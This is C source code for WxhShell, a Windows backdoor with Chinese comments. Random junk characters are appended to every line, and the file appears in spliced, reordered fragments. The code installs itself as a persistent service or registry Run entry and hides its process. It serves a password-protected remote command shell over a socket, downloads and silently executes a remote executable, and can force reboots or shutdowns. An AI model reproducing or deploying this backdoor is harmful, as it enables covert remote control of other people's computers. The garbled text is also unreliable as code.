    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ub^h&= \S  
    if(Boot(SHUTDOWN)) ~ $Tkn_w#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OK[T3/v,  
    else { ^t` k0<  
    closesocket(wsh); -lbm* -(  
    ExitThread(0); XG{{ 2f  
    } $$|rrG  
    break; Cn'(<bl  
    } +T|JK7  
  // 获取shell [ey:e6,T9  
  case 's': { |'P]GK  
    CmdShell(wsh); SQBa;hvgM  
    closesocket(wsh); &]"  
    ExitThread(0); ")O%86_Q:  
    break; [Y|8\Ph`&  
  } ~ELNyI11  
  // 退出 2`7==?  
  case 'x': { GPkmf%FJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2D75:@JL}|  
    CloseIt(wsh); v\KA'PmiP  
    break; .AR#&mL9  
    } d4u})  
  // 离开 t2/#&J]  
  case 'q': { 6IBgt!=,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yw4n-0g  
    closesocket(wsh); $7O}S.x  
    WSACleanup(); t[ubn+  
    exit(1); QS%%^+E2  
    break; nygbt<;?  
        } K&vF0*gN3  
  } R<\F:9  
  } RN$1bxY  
/1"(cQ%?  
  // 提示信息 {G U&a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .>= (' -  
} <e Th  
  } 7&t-pv92*  
<'qeXgi  
  return; !nqUBa  
} ykl .1(  
rSZd!OQ  
// shell模块句柄 'FqQzx"r  
int CmdShell(SOCKET sock) Huy5-[)15  
{ k.5u  
STARTUPINFO si; xQ}pu2@d  
ZeroMemory(&si,sizeof(si)); `z{%(_+[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,F79xx9ufg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Zn^Nw3  
PROCESS_INFORMATION ProcessInfo; l==``  
char cmdline[]="cmd"; Z>QF#."m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +AR5W(&  
  return 0; 8J:}%DaxL  
} [b 6R%  
D?;"9e%  
// 自身启动模式 >"|B9Woc  
int StartFromService(void) C<NLE-  
{ o C<.=2]  
typedef struct g<l1zo`_  
{ JSkLEa~<  
  DWORD ExitStatus; K~c=M",mW  
  DWORD PebBaseAddress; T=iJGRctB  
  DWORD AffinityMask; Id_2PkIN$~  
  DWORD BasePriority; r"C  
  ULONG UniqueProcessId; SQ44  
  ULONG InheritedFromUniqueProcessId; lpQSup  
}   PROCESS_BASIC_INFORMATION; =y [M\m  
.n#@$ nGZ  
PROCNTQSIP NtQueryInformationProcess; Mmxlp .l  
5*+!+V^?X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (zgW%{V@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0xxg|;h.,g  
d6'{rje(  
  HANDLE             hProcess; c9HrMgW  
  PROCESS_BASIC_INFORMATION pbi; w$+&3t  
a6D &/8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5~r33L%  
  if(NULL == hInst ) return 0; MLoYnR^  
<vUbv   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q"%_tS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5>CEl2mSl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zDw5]*R  
(pY 7J  
  if (!NtQueryInformationProcess) return 0; @Fluc,Il  
 `7 vHt`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :Pvzl1  
  if(!hProcess) return 0; gYNjzew'  
1$D_6U:H0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +b.g$CRr  
T^Y([23  
  CloseHandle(hProcess); 2/?`J  
mR&H9 NG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c#|raXGT  
if(hProcess==NULL) return 0; &:/hrighH  
T V<'8 L  
HMODULE hMod; R%{ a1r>9h  
char procName[255]; Rtb7|  
unsigned long cbNeeded; K@sV\"U(*E  
,24p%KJ*X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }@;ep&b*  
UELy"z R  
  CloseHandle(hProcess); x,rlrxI  
VXYK?Qc'  
if(strstr(procName,"services")) return 1; // 以服务启动 S& S Q  
Jbjmv: db  
  return 0; // 注册表启动 **$LR<L  
} 6{"$nF]  
v:!Z=I}>  
// 主模块 A;*d}Xe&J  
int StartWxhshell(LPSTR lpCmdLine) S#MZV@nGF  
{ PMN jn9d  
  SOCKET wsl; )CuZDf@  
BOOL val=TRUE; N):tOD@B  
  int port=0; .ni_p 6!  
  struct sockaddr_in door; 4(|cG7>9-  
ba[1wFmcL  
  if(wscfg.ws_autoins) Install(); qHuZcht  
v-#Q7T  
port=atoi(lpCmdLine); #pb92kA'  
e4!:c^?  
if(port<=0) port=wscfg.ws_port; X'd9[).  
$ {O#  
  WSADATA data; Km(n7Ah"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $"FQj4%d  
jBgP$g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @ o3T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !9[>L@#G  
  door.sin_family = AF_INET; _I)U%? V+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {4G%:09~J  
  door.sin_port = htons(port); =h0,?]z  
<~6h|F8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cl]Mi "3_  
closesocket(wsl); 5_- (<B  
return 1; tKuVQH~D  
} yKa{08X:  
4Uphfzv3D  
  if(listen(wsl,2) == INVALID_SOCKET) { o=50>$5jlS  
closesocket(wsl); 7s/u(~d)  
return 1; .@(6Y<dN  
} Y"~gw~7OD  
  Wxhshell(wsl); ^lA=* jY(  
  WSACleanup(); [P&7i57  
mS^tX i5hg  
return 0; KVT-P};jy*  
A/u)# ^\  
} zG ^$"f2  
P(H8[,  
// 以NT服务方式启动 PcA2/!a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,cB\  
{ +z9Q-d%O  
DWORD   status = 0; Q4+gAS9  
  DWORD   specificError = 0xfffffff; Y~L2  
LcUh;=r}&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~\Hc,5G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EdlTdn@A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <kGU,@6PF  
  serviceStatus.dwWin32ExitCode     = 0; 3QG7C{  
  serviceStatus.dwServiceSpecificExitCode = 0; %kS(LlL+6  
  serviceStatus.dwCheckPoint       = 0; )(ImLbM)  
  serviceStatus.dwWaitHint       = 0; Hea;?4Vg  
N+Y]st+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I aGq]z  
  if (hServiceStatusHandle==0) return; y~q8pH1  
T)H{  
status = GetLastError(); H5Z$*4%G  
  if (status!=NO_ERROR) q35f&O;  
{ 7]blrN]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4)A#2  
    serviceStatus.dwCheckPoint       = 0; gDQ1?N'8{t  
    serviceStatus.dwWaitHint       = 0; 9y<*8bI   
    serviceStatus.dwWin32ExitCode     = status; f"%{%M$K  
    serviceStatus.dwServiceSpecificExitCode = specificError; +y&Tf#.V/A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y%%}k  
    return; bgK'{_o-  
  } 7R6ry(6N  
l)Crc-:}4j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^; )8VP6  
  serviceStatus.dwCheckPoint       = 0; @\f^0^G  
  serviceStatus.dwWaitHint       = 0; D;;!ODX$?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gBC@38|6)  
} ,.OERw  
(NF~Ck$#q  
// 处理NT服务事件,比如:启动、停止 _3TY,l~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )N7Y^CN~  
{ 4\Tl\SZ?  
switch(fdwControl) P} 0%-JC  
{ v":x4!kdX  
case SERVICE_CONTROL_STOP: b:tob0TB  
  serviceStatus.dwWin32ExitCode = 0; Zc W:6po>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Rd'm'l)  
  serviceStatus.dwCheckPoint   = 0; {bJ`~b9e  
  serviceStatus.dwWaitHint     = 0; 4nh>'v%pD  
  { W g02 A\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OmIg<v 0\;  
  } DXJ`oh  
  return; ll`>FcQ  
case SERVICE_CONTROL_PAUSE: uBNn6j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 23RN}LUi  
  break; Rm255z p  
case SERVICE_CONTROL_CONTINUE: -uMSe~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PIdikA  
  break; " @v <Bk  
case SERVICE_CONTROL_INTERROGATE: ;[=8B \?  
  break; Bq D'8zLD  
}; Rb%8)t x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); auK?](U  
} 'VzP};  
q|!-0B @  
// 标准应用程序主函数 e=B|==E10M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6L"%e!be6  
{ Z0Vl+  
HY&aV2|A1  
// 获取操作系统版本 A8uVK5  
OsIsNt=GetOsVer(); M%2+y5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?0v-qj+  
NbgK@eV}+{  
  // 从命令行安装 i{`FmrPO~  
  if(strpbrk(lpCmdLine,"iI")) Install(); $a ]_w.@  
JM x>][xD  
  // 下载执行文件 pe]A5\4c  
if(wscfg.ws_downexe) { 60J;sGW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H!5\v"]WB  
  WinExec(wscfg.ws_filenam,SW_HIDE); nxWY7hU  
} ]:Ns f|C0  
>z%&xgOa  
if(!OsIsNt) { ]n_ k`  
// 如果时win9x,隐藏进程并且设置为注册表启动 GO` Ru 8  
HideProc(); $\]&rZVi  
StartWxhshell(lpCmdLine); El.hu%#n*G  
} C8Qa$._  
else 2+QYhdw  
  if(StartFromService()) i rU 6D  
  // 以服务方式启动 [RLN;(0n  
  StartServiceCtrlDispatcher(DispatchTable); =5/9%P8j9  
else 8<8:+M}  
  // 普通方式启动 pTPi@SBaP{  
  StartWxhshell(lpCmdLine); lI*o@wQg  
= \'}g?  
return 0; n `&/ D  
} ==3dEJS  
Tn*9lj4  
pWK(z[D  
/& Jan:  
=========================================== HCyv]LR  
ts\5uiB<%  
MZSy6v  
\;qW 3~  
i;/5Y'KZ  
xJ>fm%{5  
" OB Otuu.  
p "n$!ilbm  
#include <stdio.h> fGUE<l  
#include <string.h> >O*IQ[r-  
#include <windows.h> CE#gfP  
#include <winsock2.h> F`gi_; c  
#include <winsvc.h> *=]&&<  
#include <urlmon.h> ^(vs.U^U<  
'p> Ra/4  
#pragma comment (lib, "Ws2_32.lib") $ M`hh{ -  
#pragma comment (lib, "urlmon.lib") M?Dfu .t  
X-6de>=   
#define MAX_USER   100 // 最大客户端连接数 q"\Z-D0B4  
#define BUF_SOCK   200 // sock buffer 7gj4j^a^]{  
#define KEY_BUFF   255 // 输入 buffer AgS 7J(^&3  
wQ^EYKD  
#define REBOOT     0   // 重启 -:|?h{q?u  
#define SHUTDOWN   1   // 关机 #$18*?tLv|  
cAY:AtD  
#define DEF_PORT   5000 // 监听端口 _FpTFfB  
ad*m%9Y1Q  
#define REG_LEN     16   // 注册表键长度 W-mQjJ`,B  
#define SVC_LEN     80   // NT服务名长度 B:'J `M"N  
41`n1:-]  
// 从dll定义API R=gb'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lR )67a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &,zq%;-f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kD=WO4}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,{M^-3C  
)'l:K.F  
// wxhshell配置信息 j[`j9mM8  
struct WSCFG { n^Hm;BiE#  
  int ws_port;         // 监听端口 NQBpX  
  char ws_passstr[REG_LEN]; // 口令 s}w{:Hk,x8  
  int ws_autoins;       // 安装标记, 1=yes 0=no h2Ld[xvCu%  
  char ws_regname[REG_LEN]; // 注册表键名 9s\A\$("l  
  char ws_svcname[REG_LEN]; // 服务名 }>>1<P<8-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'u*D A|HC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,:%CB"J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [pbo4e,4O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PVe xa|aaX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @.$|w>>T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1eS&&J5  
IpYM;tYw&  
}; pMw*9s X  
IwQ"eUnK  
// default Wxhshell configuration Bt@^+vH ~  
struct WSCFG wscfg={DEF_PORT, Q# ~Q=T'<  
    "xuhuanlingzhe", _K]_ @Ivh  
    1, |2O]R s  
    "Wxhshell", 24 [+pu  
    "Wxhshell", f(/lLgI(  
            "WxhShell Service", 6 Q%jA7  
    "Wrsky Windows CmdShell Service", 8I lunJ  
    "Please Input Your Password: ", Gr*r=s  
  1, 6wBx;y |  
  "http://www.wrsky.com/wxhshell.exe", A,JmX  
  "Wxhshell.exe" ns9U/ :L  
    }; /rK}?U  
(?n=33}Ci  
// 消息定义模块 8EW_V$>R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f.D?sHAn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .B7,j%1r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \H1( PA  
char *msg_ws_ext="\n\rExit."; u_@f$  
char *msg_ws_end="\n\rQuit."; !hJ+Lp_  
char *msg_ws_boot="\n\rReboot..."; 5eLtCsHz  
char *msg_ws_poff="\n\rShutdown..."; B,?T%  
char *msg_ws_down="\n\rSave to "; %KsEB*' "  
m8A#~i .  
char *msg_ws_err="\n\rErr!"; 6eLR2  
char *msg_ws_ok="\n\rOK!"; C[ NS kr  
;D3C >7y  
char ExeFile[MAX_PATH]; e|)hG8FlF  
int nUser = 0; ,)0H3t  
HANDLE handles[MAX_USER]; Bo)3!wO8  
int OsIsNt; Rw"sJ)/  
CS2 Bo  
SERVICE_STATUS       serviceStatus; (/=f6^}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MLXNZd   
GZEc l'h*  
// 函数声明 ?4+9fE<Q  
int Install(void); } df W%{  
int Uninstall(void); 5 h-@|t  
int DownloadFile(char *sURL, SOCKET wsh); s3z$e+A8  
int Boot(int flag); ?M8dP%&r  
void HideProc(void); U>YAdrx2a  
int GetOsVer(void); &TUWW/?T  
int Wxhshell(SOCKET wsl); p2#)A"  
void TalkWithClient(void *cs); p)`{Sos  
int CmdShell(SOCKET sock); yMG1XEhuG  
int StartFromService(void); (ceNO4"cZ  
int StartWxhshell(LPSTR lpCmdLine); X3{G:H0\p  
yQ U{ zY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .CL[_;}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q A< Rhv,  
Zq^At+8+  
// 数据结构和表定义 <`.X$r*  
SERVICE_TABLE_ENTRY DispatchTable[] = R cAwrsd  
{ h?AS{`.1  
{wscfg.ws_svcname, NTServiceMain}, DVG(V w  
{NULL, NULL} N:S/SZI  
}; | z9*GY6RU  
ZGBd%RWjG_  
// 自我安装 /kE6@  
int Install(void) %aHB"vi6  
{ 2y//'3[  
  char svExeFile[MAX_PATH]; xe]y]  
  HKEY key; B;M?,<%FRU  
  strcpy(svExeFile,ExeFile); rA3$3GLQ-  
Jb0`42  
// 如果是win9x系统,修改注册表设为自启动 tRs [ YK  
if(!OsIsNt) { p)jk>j B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rV2WnAb[H&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -z-C*%~  
  RegCloseKey(key); r A`V}>Xj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CnU*Jb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uW=k K0E  
  RegCloseKey(key); o m^0}$V  
  return 0; A#K14Ayr  
    } VQ(jpns5  
  } gT3_RUF  
} };mA^xO]j  
else { p#&h=,W}  
)mg:_K  
// 如果是NT以上系统,安装为系统服务 69PE9zz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |N4.u _hM  
if (schSCManager!=0) U\ ig:  
{ -?H#LUk  
  SC_HANDLE schService = CreateService &b.=M>\9Q  
  ( F0pir(n-  
  schSCManager, hcgMZT!<5  
  wscfg.ws_svcname, 9%k2'iV7  
  wscfg.ws_svcdisp, zpzK>DH(  
  SERVICE_ALL_ACCESS, Cl5uS%g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zvvhFN2s  
  SERVICE_AUTO_START, $ZUdT  
  SERVICE_ERROR_NORMAL, @fHi\W2JG  
  svExeFile, PxTwPl  
  NULL, v]'ztFA  
  NULL, /'Ass(=6  
  NULL, 7TgOK   
  NULL, \MsTB|Z  
  NULL Umz KY  
  ); <5-[{Q/2z  
  if (schService!=0) %<)2/|lCd  
  { <C_jF  
  CloseServiceHandle(schService); w;;BSJ]+[  
  CloseServiceHandle(schSCManager); c>,'Y)8   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @GPCwE1  
  strcat(svExeFile,wscfg.ws_svcname); t=(!\:[D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cpe+XvBuK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZXu>,Jy  
  RegCloseKey(key); e|NG"<  
  return 0; L(/e&J@><  
    } /1Qr#OJ(]  
  } &VhroHO  
  CloseServiceHandle(schSCManager); z#8~iF1  
} 'OE&/ C [  
} ."TxX.&HE  
J &o |QG  
return 1; cW~}:;D4  
} }'5MK  
dWM'fg  
// 自我卸载 *!4Z#Y  
int Uninstall(void) rK@8/?y5  
{ v V'EZ ?  
  HKEY key; ob+b<HFv  
aB*Bz]5;E  
if(!OsIsNt) { 5<iV2Hx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bz_^~b7  
  RegDeleteValue(key,wscfg.ws_regname); gD0eFTN  
  RegCloseKey(key); OtY`@\hy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aFc1|.Nm  
  RegDeleteValue(key,wscfg.ws_regname); .4_o>D  
  RegCloseKey(key); A|CmlAW~^  
  return 0; *]. 7dec/  
  } sWQfr$^A  
} `uq8G  
} A ;G;^s  
else { @d^Grm8E  
F;>V>" edl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u~r=)His  
if (schSCManager!=0) K#l:wH _  
{ _ ?TN;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gMv.V{vD  
  if (schService!=0) )}''L{k-  
  { :Gv1?M  
  if(DeleteService(schService)!=0) { ~{*7"o/  
  CloseServiceHandle(schService); IW)()*8;/  
  CloseServiceHandle(schSCManager); cec9l65d  
  return 0; 7WZrSC  
  } B5gj_^  
  CloseServiceHandle(schService); jL y  
  } tN[L@t9#cr  
  CloseServiceHandle(schSCManager); _geWE0 E  
} fr,7rS/w{l  
} x"eRJii?  
Xk:OL,c  
return 1; _G_Cj{w  
} BoA/6FRi[  
R7]l{2V#^  
// 从指定url下载文件 TSA,WP\  
int DownloadFile(char *sURL, SOCKET wsh) =31"fS@  
{ { .n"Z  
  HRESULT hr; +~St !QV%  
char seps[]= "/"; 2:*w~|6>}5  
char *token; ?J' Y&  
char *file; i}b${n o  
char myURL[MAX_PATH]; ~aw.(A?MI  
char myFILE[MAX_PATH]; 6f;fx}y  
3yANv?$a  
strcpy(myURL,sURL); BK*x] zG$  
  token=strtok(myURL,seps); vrl;"Fm+  
  while(token!=NULL) d[[]P X  
  { M])ZK  
    file=token; )W|w C#  
  token=strtok(NULL,seps); -T!f,g3vW  
  } ~"dA~[r L  
4pe'06:  
GetCurrentDirectory(MAX_PATH,myFILE); _t:$XJ`bTk  
strcat(myFILE, "\\"); 6L:x^bM  
strcat(myFILE, file); J`^ag'  
  send(wsh,myFILE,strlen(myFILE),0); 2C2fGYu  
send(wsh,"...",3,0); jnd[6v=C7-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <DpevoF  
  if(hr==S_OK) >PB4L_1  
return 0; <CRP ^_c  
else QU#w%|  
return 1; b>_o xK  
#1J &7F1  
} Yi .u"sh]  
KjV:|  
// 系统电源模块 /{|EAd{  
int Boot(int flag) 832v"k CD  
{ ,/[6e\0~  
  HANDLE hToken; rMXN[,|v  
  TOKEN_PRIVILEGES tkp; 6Vww;1 J  
]I-Z]m "  
  if(OsIsNt) { Rn#KfI:{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7ByTnYe~S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( W a  
    tkp.PrivilegeCount = 1; DvME 1]7)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~0?mBy!-O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0YaA`  
if(flag==REBOOT) { -7m:91x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !GOM5z,  
  return 0; c/Qt Ot  
} KN$}tCU  
else { `/_o!(Z`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r/& sub"X  
  return 0; $Vsk Ew"|M  
} sLh==V;9  
  } tc_286'x  
  else { D@G\7 KH@  
if(flag==REBOOT) { )64@2 ~4y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iM2W]  
  return 0; wNq;;AJ$  
} &lR 6sb\  
else { L}GC<D:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H&F9J ^rC  
  return 0; * +'x~a  
} Ny_lrfh)[  
} Z:ni$7<.  
8iW;y2qF  
return 1; -r#X~2tPzD  
} whonDG4WP  
rxr{/8%f%  
// win9x进程隐藏模块 M@h|bN  
void HideProc(void) CQwL|$)]Y  
{ G,TM-l_uw  
y'FS/=u>0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HN_d{ 3  
  if ( hKernel != NULL ) Tq NadHQ  
  { &P.4(1sC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wpN k+;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GGe,fb<k  
    FreeLibrary(hKernel); ;?W|#*=R  
  } D*Ik7Pe  
?aC'.jH+  
return; y[>;]R7'  
} f?oa"   
ng:kA%! Q  
// 获取操作系统版本 n$U#:aQE  
int GetOsVer(void) "~=mG--I  
{ ;WgJ<&33  
  OSVERSIONINFO winfo; 0~HKiH-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KQcs3F@t  
  GetVersionEx(&winfo); u4.ngjJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *"WDb|PBb  
  return 1; J\J?yo 6  
  else @)-sTgn  
  return 0; a UxGzMZ  
} Kh(ZU^{n  
.U"8mP=&  
// 客户端句柄模块 p>vn7;s2#  
int Wxhshell(SOCKET wsl) I96C i2)m  
{ !h(|\" }  
  SOCKET wsh; Qhs/E`k4  
  struct sockaddr_in client; I6j$X6u  
  DWORD myID; ,QC{3i~  
XGJj3-eW {  
  while(nUser<MAX_USER) 3k|oK'l  
{ cUqke+!  
  int nSize=sizeof(client); H_EB1"C;\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kxp) ;  
  if(wsh==INVALID_SOCKET) return 1; ? 9! Z<H  
-6Oz^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T|6jGZS^|W  
if(handles[nUser]==0) !iH-#B-  
  closesocket(wsh); 4&xZ]QC)O5  
else M~WijDj  
  nUser++; LUH"  
  } RG3l.jL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3<k`+,'  
u\LiSGePN  
  return 0; fLDg~;3  
} TlI<1/fP}  
fBgEnz/  
// 关闭 socket !_+8A/  
void CloseIt(SOCKET wsh) !Gu%U$d  
{ BYTnrPA&Z;  
closesocket(wsh); <c)+Fno[E_  
nUser--; :@1eph0  
ExitThread(0); -od!J\ KCy  
} fbWFLS m;  
L f"i !  
// 客户端请求句柄 c~{9a_G  
void TalkWithClient(void *cs) @[#$J0q q  
{ s <   
W?0 lV5/  
  SOCKET wsh=(SOCKET)cs; YoN*:jB<M  
  char pwd[SVC_LEN]; ysmNio  
  char cmd[KEY_BUFF]; ?pYKZg /c  
char chr[1]; U7!.,kR-  
int i,j; !O.[PH(,*  
)x}l3\s  
  while (nUser < MAX_USER) { *<E]E?  
'xhcuVl  
if(wscfg.ws_passstr) { /" ${$b{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1x @qkL6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1z&Ly3  
  //ZeroMemory(pwd,KEY_BUFF); cTD!B% x  
      i=0; uC8L\UXk  
  while(i<SVC_LEN) { Q:|l`*.R  
K =C!b?  
  // 设置超时 oY1';&BO9  
  fd_set FdRead; '"?C4mbSl  
  struct timeval TimeOut; '"<6.,Ae  
  FD_ZERO(&FdRead); =Zu^80/  
  FD_SET(wsh,&FdRead); /n5F(5<  
  TimeOut.tv_sec=8; >N;F8v  
  TimeOut.tv_usec=0; Ypeiy `.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U~} U\_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HDda@Jy  
{fha`i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p8kr/uMP ;  
  pwd=chr[0]; R)M_|ca  
  if(chr[0]==0xd || chr[0]==0xa) { is1's[  
  pwd=0; 7_.11$E=H  
  break; ,g7.rEA  
  } a-"k/P#  
  i++; "V>R9dO{"!  
    } q}/WQ]p} <  
uKz,SqX  
  // 如果是非法用户,关闭 socket i `s|,"0o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e$u4vC~  
} c&X{dJWD   
o\88t){/kB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  *[r!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tG8jFou  
%/c+`Wd/l$  
while(1) { b+6"#/s  
oEx\j+}@n  
  ZeroMemory(cmd,KEY_BUFF); ?Zc"C  
Rx*BwZ  
      // 自动支持客户端 telnet标准   `%E8-]{uS  
  j=0; X=6y_^  
  while(j<KEY_BUFF) { -D N8Yb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cFN'bftH4  
  cmd[j]=chr[0]; EyI}{6~F  
  if(chr[0]==0xa || chr[0]==0xd) { 4-kZJ\]  
  cmd[j]=0; !IC-)C,q  
  break; bae\Zk%`^  
  } &-czStQ  
  j++; [U@ *1  
    } "+z?x~rk  
K]qM~v<A  
  // 下载文件 yf?h#G%24  
  if(strstr(cmd,"http://")) { -*~CV:2iq-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N7b1.]<  
  if(DownloadFile(cmd,wsh)) OdQT2PA_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qd_Y\PzS  
  else .MVYB\6Q0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &n[~!%(  
  } K*IxUz(  
  else { zOHypazOTq  
^9_U Uzf\  
    switch(cmd[0]) { c(U  
